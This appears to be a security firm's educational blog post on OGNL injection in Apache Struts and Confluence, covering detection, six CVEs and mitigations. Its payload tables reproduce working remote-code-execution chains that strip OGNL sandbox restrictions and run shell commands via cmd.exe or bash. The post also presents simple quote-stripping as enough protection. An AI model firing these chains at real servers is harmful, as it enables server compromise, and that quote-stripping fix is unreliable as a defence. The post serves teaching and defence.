OGNL Injection Decoded

OGNL Injection Decoded

Hello readers! In this blog post, our Senior Consultant Aditya has discussed the infamous Object Graph Navigation Language (OGNL) injection vulnerability. He explains the vulnerability details, prerequisites, attack vectors, how the vulnerability works in the background, recommendations, practice labs, and more.

OGNL was introduced in 2002 and is widely used in Java-based web applications. It is a popular expression language, which allows you to access and manipulate objects in the application’s object graph. OGNL injection attacks have been a known issue for many years, and they have drawn the attention of security professionals since their discovery, due to the immense devastation that this particular family of vulnerability can cause. Now that we know what we’ll be talking about in this blog, let’s dive straight into the vulnerability know-hows.

TL;DR

  • An OGNL injection attack is a type of injection attack in which the attacker can execute arbitrary OGNL expressions on the server. This enables the attacker to gain unauthorized access to sensitive information, modify data, or engage in other malicious activities.
  • OGNL injection attacks are a potential threat to any application that uses OGNL expressions, and it is vital to take preventative measures such as proper input validation and escaping, as well as regular software and library updates.
  • A dedicated free practice lab relevant to the OGNL Injection vulnerability can be accessed by navigating to Vulnmachines.

Apache Struts Architecture

Apache Struts is a well-known open-source framework used to create Java-based web applications. It is based on the Model-View-Controller (MVC) design pattern, which divides the application into three distinct components: the model, the view, and the controller.

  • Model: The model represents the application’s data and business logic, and it is in charge of managing the data and performing any necessary calculations or operations.
  • View: The view is the application’s user interface, and it is responsible for displaying data and allowing the user to interact with the application.
  • Controller: The controller acts as a link between the model and the view, receiving user input, passing it to the model for processing, and then returning the resultant data to the view for display.

In Apache Struts applications, OGNL injection attacks occur when end-user input is not properly validated or escaped before being passed to an OGNL expression interpreter. In such cases, an attacker injects a malicious OGNL expression into the application, which is then executed on the server, granting the attacker unauthorized access to sensitive information and performing other harmful actions.

Expression and Expression Language

Expression

An expression is a combination or formula created from one or more constants, attributes, functions, and operators. This formula is calculated to determine an expression value which can then be used to provide extensive customization to different types of functionalities. When an expression is executed, it can read or set access to Java objects in its context, call methods, and execute arbitrary Java code. The values that an expression can output include Boolean, Float, Integers, Strings, and Timestamps. 

For example, a simple mathematical expression in the Java programming language might look like this:

This expression uses the '+' and '*' operators for conducting addition and multiplication on the numbers. When this expression is evaluated, it yields the value 14, which is then stored in the variable 'x'.

Expression Language

Expression Language is a specifically designed language that allows simple expressions to be used for dynamically accessing the application data within the web interface. An Expression Language can only be used in custom tags, not in core library tags. One of the key features of an Expression Language is that it allows the application’s developer to create attributes that can be changed based on the end users. This feature of the expression language provides the end user with a more enhanced and versatile user experience. Expression languages are frequently used to express conditions or transformations compactly and concisely. Expression languages are capable of specifying complex conditions or transformations simply and flexibly, eliminating the need for lengthy and verbose code.

The Apache Velocity template engine, for example, employs the Velocity Template Language (VTL) as its expression language. VTL enables developers to include expressions in their templates, which are then evaluated and replaced with the appropriate values at runtime. Here’s a simple VTL expression for displaying the current date and time:

This expression retrieves the current date and time from the '$date' object and then converts it to a string using the 'toString()' method. The resultant string is then assigned to the variable '$TSG', which is then displayed in the template. The VTL expression will be replaced with the current date and time when the template is rendered.

OGNL Injection

OGNL is an open-source expression language designed to make it easier for developers to extract data from object models in Java applications. The OGNL is pretty much identical to a server-side template and is widely used in Java Server Pages (JSP). The OGNL expression language allows you to get and set JavaBeans properties using Java reflection. An OGNL expression can execute Java class methods, and everything that can be done in Java can also be done in OGNL. Since OGNL can generate or modify executable code, it can introduce critical security flaws into any framework that uses it.

According to the OGNL’s official documentation, it offers its users several functionalities, such as:

  • OGNL expressions can be used to access the object properties.
  • OGNL not only allows users to use arrays, but it also allows them to access the array’s elements and perform operations on them using OGNL expressions, such as by combining the elements.
  • OGNL has a straightforward variable declaration scheme.

OGNL is capable of introducing critical security flaws into any framework that uses it due to its ability to create or change executable code. An attacker who successfully exploits this vulnerability can manipulate application functionality, recover sensitive server-side information available through implicit objects, and branch out into system code access, resulting in a server compromise.

Now, with the help of the following Apache Struts code, let us learn more about OGNL injection:

The ‘login’ method in this code snippet receives a 'username' and a 'password' from the end user and uses an OGNL expression to retrieve the corresponding 'User' object from the 'userService'. If the 'User' object is present and the password matches the intended user, the method returns "loginSuccess", otherwise, the method returns "loginFailed".

This code, however, is vulnerable to OGNL injection attacks. An attacker could create a malicious username that includes an OGNL expression that, when evaluated, allows the attacker to gain unauthorized access to sensitive information or perform other harmful actions. For instance, the attacker could use the username:

In this case, the login method would generate the OGNL expression:

On the server, this expression would be evaluated and would return the 'User' object with the username "adminfoo" Because the attacker has control over the username, they can modify it to avoid the password check and gain unauthorized access to the application.

To prevent this type of OGNL injection attack, the code was modified to include a 'validateAndEscapeUsername' method that validates and escapes the username parameter before it is passed to the 'userService'. The updated code is as follows:

The 'validateAndEscapeUsername' method can be implemented in a variety of ways, depending on the application’s specific requirements. It could, for example, use a regular expression match to ensure that the username only contains alphanumeric characters, or it could escape any special characters that may be used in OGNL expressions.

Here’s a simple example of how to use the 'validateAndEscapeUsername' method:

This method utilizes the 'replace' method to remove any single and double quotes, as well as square brackets, from the username. These characters are frequently used in OGNL expressions, and escaping them can aid in the prevention of OGNL injection attacks. The 'login' method is now protected against OGNL injection attacks by using the 'validateAndEscapeUsername' method. Because any special characters used in OGNL expressions are escaped and rendered harmless, an attacker would be unable to inject a malicious OGNL expression into the application.

Impact

Unlike the majority of injection vulnerabilities, the impact of OGNL injection is heavily dependent on the user’s privileges, when the OGNL expression is executed. Successful exploitation of the OGNL injection vulnerability, on the other hand, results in RCE, which jeopardizes the application’s confidentiality, integrity, and availability, making this vulnerability a complete nightmare for developers and blue team professionals. An attacker could also exploit this flaw to gain unauthorized access to the target application’s underlying data and functionality.

Detection

Although complex in nature, the OGNL Injection vulnerability is extremely simple to detect and can be found using the same method as searching for Server-Side Template Injection vulnerabilities, which occur when an attacker attempts to exploit a template syntax vulnerability to inject malicious code into the template engine either on the client-side or on the server-side. Template engines are used to generate dynamic content on a web page using a pre-defined syntax that in real-time substitutes values into a parameterized syntax template. A more well-known example of this vulnerability is the Jinja templating library in Python or Mustache for JavaScript, both of which are frequently vulnerable to Server-Side Template Injection (SSTI) vulnerabilities.

Several steps can be followed for manually detecting OGNL injection vulnerabilities in your application:

  1. Determine the input fields used in OGNL expressions since these are the primary attack vectors. This can include form fields, query parameters, and other user input sources.
  2. Build test inputs with special characters found in OGNL expressions, such as single and double quotes, square brackets, and dots.
  3. Submit the manufactured test inputs to the application’s user-controlled input fields and observe the application’s results and behavioural patterns.
  4. If the application appears to be vulnerable to OGNL injection, experiment with changing the test inputs to include more complex OGNL expressions, such as conditional statements and loops.
  5. If the application still appears to be vulnerable, try injecting OGNL expressions that could allow you to obtain unauthorized access to sensitive data or perform other harmful actions.

J2EEScan

Burp Suite’s BApp Store contains a plethora of Burp Extensions that can assist in identifying technology-specific vulnerabilities and performing specific types of attacks. J2EEScan is one such extension and is one of the finest Burp Suite extensions for detecting vulnerabilities in J2EE applications. According to the official documentation for this extension, it can detect over eighty different J2EE application vulnerabilities.

Interesting Real World Scenarios

Several instances of OGNL injection have been discovered over time by security experts around the world. Some of the most significant cases of OGNL Injection vulnerability are described below.

Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)

A critical unauthenticated OGNL injection vulnerability was recently discovered in Atlassian Confluence Server and Data Center applications which allowed a remote attacker to execute arbitrary code on a Confluence Server or Data Center instance using specially crafted malicious OGNL expressions. Adversaries exploited this vulnerability on a large scale for malicious cryptocurrency mining, botnet creation, domain takeover of infrastructure, and the deployment of information stealers, remote access trojans (RATs), and ransomware.

Background:

Breaking down the payload and performing a thorough root cause analysis of the vulnerability revealed that the vulnerability operated in three major steps:

  • The remote attacker created a malicious HTTP GET request that included an OGNL expression that could or could not be platform-independent and sent it via the URI.
  • The malicious payload was executed, and the OGNL expression caused the injected command to be executed.
  • A custom HTTP response header was created that contained the output of the executed command and was visible in the response.

Detection and Exploitation:

This vulnerability is detectable and exploitable using a variety of publicly accessible exploits and scripts, some of which are listed below:

Malicious Request:

Intended Response:

Unencrypted Payload:

Payload Breakdown:

Payload SnippetDescription
#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“hostname”).getInputStream(),”utf-8″)This payload snippet is used to execute the command, in this case, the 'hostname' command, and then convert it to a string, which is then stored in a variable for later use.
@com.opensymphony.webwork.ServletActionContext@getResponse()This payload snippet is used to obtain the response to the command that was executed.
setHeader(“X-Cmd-Response”,#a)This payload snippet is used to generate a custom HTTP response header, โ€˜X-Cmd-Responseโ€™, whose value is the output of the executed command.

This critical vulnerability was quickly patched, and the Atlassian team released a newer stable version that included the patch for this critical issue.

Confluence Server Webwork OGNL Injection (CVE-2021-26084)

A critical OGNL Injection vulnerability in Atlassian Confluence was discovered last year, allowing remote unauthenticated attackers to execute arbitrary code on the affected systems using malicious OGNL expressions via a specially crafted request. A thorough investigation of this vulnerability revealed that this vulnerability existed in the default configuration of the affected versions of the on-premises Confluence Server and Confluence Data Center products. Further exploration of the vulnerability revealed that Confluence already had an input validation mechanism in place, and the researcher who discovered this bug was able to successfully bypass the sanity checks and leveraged it for achieving remote code execution.

Background:

On performing the root cause analysis of this vulnerability it was discovered that the vulnerability operated in the following two stages:

  1. The attacker sent a specially crafted HTTP POST request impersonating an unauthenticated user to the Confluence Server that contained the malicious OGNL expression.
  2. The Confluence template engine evaluated the malicious POST request and executed the OGNL expression.

Detection and Exploitation:

This vulnerability is detectable and exploitable using a variety of publicly accessible exploits and scripts, some of which are listed below:

Some standard endpoints where this vulnerability can be identified in the affected version of on-premises Confluence Server and Confluence Data Center products are listed below based on an analysis of publicly available exploits:

Malicious Request:

Intended Response:

Unencrypted Payload:

Payload Breakdown:

Payload SnippetDescription
Class.forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’).eval(‘This payload snippet is used for creating an instance of JavaScript Engine which will be used for executing a small command.
var isWin = java.lang.System.getProperty(“os.name”).toLowerCase().contains(“win”);This payload snippet declares a variable that will attempt to execute the 'os.name' command, convert it to a lowercase string, and then look for the string "win" to determine a Windows-based environment.
var cmd = new java.lang.String(“hostname”);This payload snippet is used for creating a variable that holds the command as a String.
var p = new java.lang.ProcessBuilder();This payload snippet is used for creating an object of the Process Builder.
if(isWin){p.command(“cmd.exe”, “/c”, cmd); 
}
else{
p.command(“bash”, “-c”, cmd); 
}
This payload snippet is used to perform a conditional check and will execute the command based on the operating system architecture used by the target application.
p.redirectErrorStream(true);This payload snippet is used for redirecting the errors that might appear during the execution of the command.
var process= p.start();This payload snippet is used for calling the start function of the ProcessBuilder class.
var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());This payload snippet is used for obtaining the input stream of the ProcessBuilder subprocess.
var bufferedReader = new java.io.BufferedReader(inputStreamReader);This payload snippet is used for reading the line-by-line data stream of the ProcessBuilder subprocess.
var line = “”; var output = “”;This payload snippet is used for declaring two empty string variables.
while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }’)This payload snippet is used to read the output line by line until the last character is not null and then convert it to a String.

The Atlassian team quickly patched this critical vulnerability and released a stable version that included the patch for this issue.

Apache Struts 2 Double OGNL Evaluation Vulnerability (CVE-2020-17530)

A forced double OGNL evaluation vulnerability in the Struts framework was discovered a while ago, which could allow an attacker to execute arbitrary code on the system using specially crafted OGNL expressions. When forced, the raw user input in tag attributes suffers a double evaluation utilizing the %{...} syntax, resulting in the evaluation of the injected malicious OGNL expressions.

A thorough examination of this vulnerability revealed that OGNL Injection does not exist in the default Apache Struts configuration and is totally dependent on how the application is configured by the developers. This means that the vulnerability is not included with Apache Struts, therefore a basic technology stack detection cannot be used to determine whether an application using the affected version is vulnerable.

Background:

This vulnerability worked in three stages:

  1. The developer had configured the application to perform forced OGNL evaluation using the %{..} syntax.
  2. A specially engineered OGNL expression string was inserted as raw user-provided input in a tag attribute, which the Struts framework interpreted as code, and the resulting string was evaluated as code once again.
  3. The malicious OGNL expression was interpreted, resulting in the execution of the injected malicious OGNL expression.

Detection and Exploitation:

This vulnerability is detectable and exploitable using a variety of publicly accessible exploits and scripts, some of which are listed below:

Malicious Request:

Intended Response:

Unencrypted Payload:

Payload Breakdown:

Payload SnippetDescription
#instancemanager=#application[“org.apache.tomcat.InstanceManager”]This payload snippet is used for creating an object manager.
#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]This payload snippet is used for creating a stack that can be used for storing multiple beans.
#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)This payload snippet is used for creating a BeanMap object of the bean.
#bean.setBean(#stack)This payload snippet is used for configuring the value stack of the bean.
#context=#bean.get(“context”)This payload snippet is used for obtaining the context of the bean.
#bean.setBean(#context)This payload snippet is used for configuring the context of the bean.
#macc=#bean.get(“memberAccess”)This payload snippet is used for obtaining access to the bean that allows access to sensitive data.
#bean.setBean(#macc)This payload snippet is used for configuring the access of the bean.
#emptyset=#instancemanager.newInstance(“java.util.HashSet”)This payload snippet is used for creating an object of an empty HashSet.
#bean.put(“excludedClasses”,#emptyset)This payload snippet is used for configuring the excluded classes to empty.
#bean.put(“excludedPackageNames”,#emptyset)This payload snippet is used for configuring the excluded packages to empty.
#arglist=#instancemanager.newInstance(“java.util.ArrayList”)This payload snippet is used for creating an ArrayList that will hold the arguments.
#arglist.add(“hostname”)This payload snippet is used for adding the ‘hostname’ command to the argument list.
#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)This payload snippet is used for assigning a new object to execute.
#execute.exec(#arglist)This payload snippet is used for executing the values present in the โ€˜arglistโ€™, which in this case was the ‘hostname’ command.

Though this vulnerability was discovered a few years ago, it is still discovered during internal network pentests and red team engagements. Having said that, an official patch for this vulnerability was released shortly after it was discovered.

Apache Struts Double OGNL Evaluation Vulnerability (CVE-2019-0230)

Apple Information Security team’s Matthias Kaiser discovered a critical unauthenticated OGNL remote code execution vulnerability in the Apache Struts web application framework due to improper handling of invalidated data, which resulted in a forced double OGNL expression execution when the OGNL expression was injected as raw user input in certain tag attributes such as โ€˜idโ€™

Forced double OGNL evaluation vulnerability occurs when the Apache Struts framework attempts to interpret the raw user input included within the โ€˜tagโ€™ attributes. As a result, in this situation, an adversary may send a malicious OGNL expression to the Struts framework, which would be evaluated again when the attributes of a tag were shown.

Although the Apache Struts software received input from an upstream element that specified the various characteristics, properties, or fields that were to be initialized or updated in an object, it does not correctly control which attributes could be modified. This attribute manipulation resulted in the dynamically-determined object attributes vulnerability, which in this case was an OGNL injection vulnerability.

Background:

This vulnerability worked in two stages:

  1. A specially constructed OGNL expression was introduced as an input in the tag attribute, which the Struts framework evaluated.
  2. The malicious OGNL expression was interpreted due to a lack of sufficient input validation, resulting in the execution of the injected malicious OGNL expression.

Detection and Exploitation:

This vulnerability is detectable and exploitable using a variety of publicly accessible exploits and scripts, some of which are listed below:

Malicious Request:

Intended Response:

Unencrypted Payload:

Payload Breakdown:

Payload SnippetDescription
#_memberAccess.allowPrivateAccess=trueThis payload snippet enables access to the private method that allows access to sensitive data.
#_memberAccess.allowStaticMethodAccess=trueThis payload snippet enables the static method access which disables protection against access and allows calls to static methods.
#_memberAccess.excludedClasses=#_memberAccess.acceptPropertiesThis payload snippet is used for setting the restricted class name to blank.
#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptPropertiesThis payload snippet is used for setting the restricted package name to empty.
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter()This payload snippet returns the HttpServletResponse instance and displays it.
#a=@java.lang.Runtime@getRuntime()This payload snippet returns the runtime object associated with the current application.
#s=new java.util.Scanner(#a.exec(‘hostname’).getInputStream()).useDelimiter(‘\\A’)This payload snippet is used for executing the command.
#str=#s.hasNext()?#s.next():”This payload snippet is used for displaying the next string based on its subscript if it is present.
#res.print(#str)This payload snippet is used for obtaining the output of the executed command.
#res.close()This payload snippet is used for sending all data to the user.

The Apache Software Foundation addressed this vulnerability by releasing a new patch and an advisory urging developers to upgrade struts to the most recent version and avoid using raw expression language in line with the majority of Struts tags.

Apache Struts 2 Namespace Redirect OGNL Injection (CVE-2018-11776)

A critical unauthenticated OGNL remote code execution vulnerability (CVE-2018-11776) in the Apache Struts web application framework was discovered due to improper handling of invalidated data on the URL passed to the Struts framework, which could allow remote attackers to run malicious OGNL expressions on the affected servers to execute system commands.

Understanding this issue as a developer necessitates a thorough understanding of not only the Struts code but also the numerous libraries used by the Struts framework. Understanding the fundamental cause of the issue was a big challenge for a developer in general due to a lack of sufficient definitions and documentation on the in-depth working of certain aspects. Furthermore, it was observed that this issue is commonly caused when a vendor releases a patch that causes a few behavioural changes in previously existing code, and it becomes extremely difficult and impractical for the developer to constantly track the background working of the code after every single patch is rolled out by the vendor.

Following a thorough root cause analysis of this vulnerability, it was discovered that it is not exploitable in default Struts configurations. When the ‘alwaysSelectFullNamespace’ option in the Struts 2 configuration file is enabled, and the ‘ACTION’ tag e.g., โ€˜<action ..>โ€™ is specified without a namespace attribute or a wildcard namespace i.e., โ€˜/*โ€™, the OGNL expressions sent through specially crafted HTTP requests are evaluated and can be used to perform an unauthenticated remote code execution attack, which can lead to a complete compromise of the targeted system.

Background:

This vulnerability operated in three stages:

  1. In the Struts 2 configuration file, the 'alwaysSelectFullNamespace' option was set to โ€˜trueโ€™, and the 'ACTION' tag was supplied without a namespace attribute or a wildcard namespace.
  2. Through a specially constructed OGNL expression in the request, a malicious OGNL expression was inserted in the URL in the common web directories.
  3. Due to the lack of robust improper handling, the malicious OGNL expression was interpreted, resulting in the execution of the injected malicious OGNL expression.

Detection and Exploitation:

This vulnerability is detectable and exploitable using a variety of publicly accessible exploits and scripts, some of which are listed below:

Malicious Request:

Intended Response:

Unencrypted Payload:

Payload Breakdown:

Payload SnippetDescription
#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESSThis payload snippet declares a variable and assigns it DefaultMemberAccess permission.
#_memberAccess?(#_memberAccess=#dm)This payload snippet is used for checking the presence of the '_memberAccess' class. If the class is found, it is replaced by the 'DefaultMemberAccess' defined in the previously declared ‘dm’ variable.
#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]This payload snippet is used for obtaining the container.
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)This payload snippet uses the container obtained in the previous step for getting the object of the OgnlUtil class.
#ognlUtil.getExcludedPackageNames().clear()This payload snippet is used for clearing the excluded package names.
#ognlUtil.getExcludedClasses().clear()This payload snippet is used for clearing the excluded classes.
#context.setMemberAccess(#dm)This payload snippet is used for setting the member access of the current context to 'DefaultMemberAccess'.
#cmd=’hostname’This payload snippet is used for executing the command.
#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))This payload snippet is for detecting if the operating system is windows.
#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})This payload snippet is used for executing the command depending on the operating system used by the target application.
#p=new java.lang.ProcessBuilder(#cmds)This payload snippet is used for executing the command by utilizing the ProcessBuilder class.
#p.redirectErrorStream(true)This payload snippet is used for enabling verbose error messages.
#process=#p.start()This payload snippet is used for executing the command.
#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())This payload snippet is used for obtaining the output and sending the obtained output to the user.
@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)This payload snippet is used for obtaining the output of the executed command.
#ros.flush()This payload snippet is used for performing flush and sending all data to the user.

The Apache Software Foundation issued a patch to address this vulnerability. A proof-of-concept exploit of the vulnerability was posted on GitHub shortly after the Apache Software Foundation released its patch.

Apache Struts Jakarta Multipart Parser Improper OGNL Evaluation Vulnerability (CVE-2017-5638)

CVE-2017-5638, an OGNL injection vulnerability, was discovered in the Jakarta Multipart parser in Apache Struts 2. This vulnerability is commonly referred to as the Equifax breach. The vulnerability was caused due to the lack of effective exception handling and the generation of verbose error messages during file uploads. This misconfiguration assisted remote unauthenticated adversaries in executing arbitrary commands. The malicious payloads used to achieve command injection were transmitted via the HTTP headers Content-Type, Content-Disposition, and Content-Length.

This flaw was exploited by simply injecting the '#cmd=' string, which contained the payload to be executed. Furthermore, this vulnerability was graded a low attack complexity, implying that an adversary may implement this attack and compromise the target application with ease.

Background:

This vulnerability worked in two steps:

  1. The malicious OGNL expression was injected via the Content-Type/Content-Disposition/Content-Length HTTP header, which when parsed by the Jakarta Multipart parser resulted in an exception and the creation of verbose error messages that were visible to the end users.
  2. The exception was subsequently forwarded to the error handling function, which interpreted it, resulting in the execution of the injected malicious OGNL expression.

Detection and Exploitation:

This vulnerability is detectable and exploitable using a variety of publicly accessible exploits and scripts, some of which are listed below:

Malicious Request:

Intended Response:

Payload Breakdown:

Payload SnippetDescription
#_=’multipart/form-data’This payload snippet describes a variable that indicates the content type of the request is multipart form.
#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESSThis payload snippet declares a variable and assigns it DefaultMemberAccess permission.
#_memberAccess?(#_memberAccess=#dm)This payload snippet is used for checking the presence of the '_memberAccess' class. If the class is found, it is replaced by the 'DefaultMemberAccess' defined in the previously declared 'dm' variable.
#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]This payload snippet is used for obtaining the container.
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)This payload snippet uses the container obtained in the previous step for getting the object of the OgnlUtil class.
#ognlUtil.getExcludedPackageNames().clear()This payload snippet is used for clearing the excluded package names.
#ognlUtil.getExcludedClasses().clear()This payload snippet is used for clearing the excluded classes.
#context.setMemberAccess(#dm)This payload snippet is used for setting the member access of the current context to 'DefaultMemberAccess'.
#cmd=’hostname’This payload snippet is used for executing the command.
#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))This payload snippet is for detecting if the operating system is windows.
#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})This payload snippet is used for executing the command depending on the operating system used by the target application.
#p=new java.lang.ProcessBuilder(#cmds)This payload snippet is used for executing the command by utilizing the ProcessBuilder class.
#p.redirectErrorStream(true)This payload snippet is used for enabling verbose error messages.
#process=#p.start()This payload snippet is used for executing the command.
#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())This payload snippet is used for obtaining the output and sending the obtained output to the user.
@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)This payload snippet is used for obtaining the output of the executed command.
#ros.flush()This payload snippet is used for performing flush and sending all data to the user.

Analysis of the updated code that contained the patch for this vulnerability revealed that the ‘LocalizedTextUtil‘ class [line 6 in the below-mentioned code snippet], along with the ‘java.io.File‘ which was responsible for improperly handling the verbose error messages and eventually leading to code execution, was removed from the Jakarta-based file upload Multipart parser.

The following code snippet displays the officially patched code by the vendor:

Practice Labs

We at The SecOps Group strongly believe in a hands-on approach towards cyber security, and therefore have published an OGNL Injection lab on our platform Vulnmachines for you to learn more about the infamous OGNL Injection vulnerability by practicing its detection and exploitation in a real-world like simulation.

The practice lab relevant to the OGNL Injection vulnerability is listed below and can be accessed by navigating to Vulnmachines:

Mitigation and Best Practices

  • Implement strong input validation and output encoding on both the client and server sides, and the methods used to evaluate OGNL expressions should only be used in static configurations and JSP; they should not receive invalidated user input directly.
  • Developers must avoid integrating the end-user input into iteratively evaluated code. There are safer methods for achieving a similar result using other functionalities that cannot be coerced by an attacker for injecting malicious OGNL expressions.
  • Always use the most recent version of all underlying software, as well as a properly configured web application firewall.
  • Block OGNL Expressions initiation in Apache Struts HTTP Request.

References and Further Reading

Leave a Reply

Your email address will not be published. Required fields are marked *

Arrange a Callback

    Contact us
    Close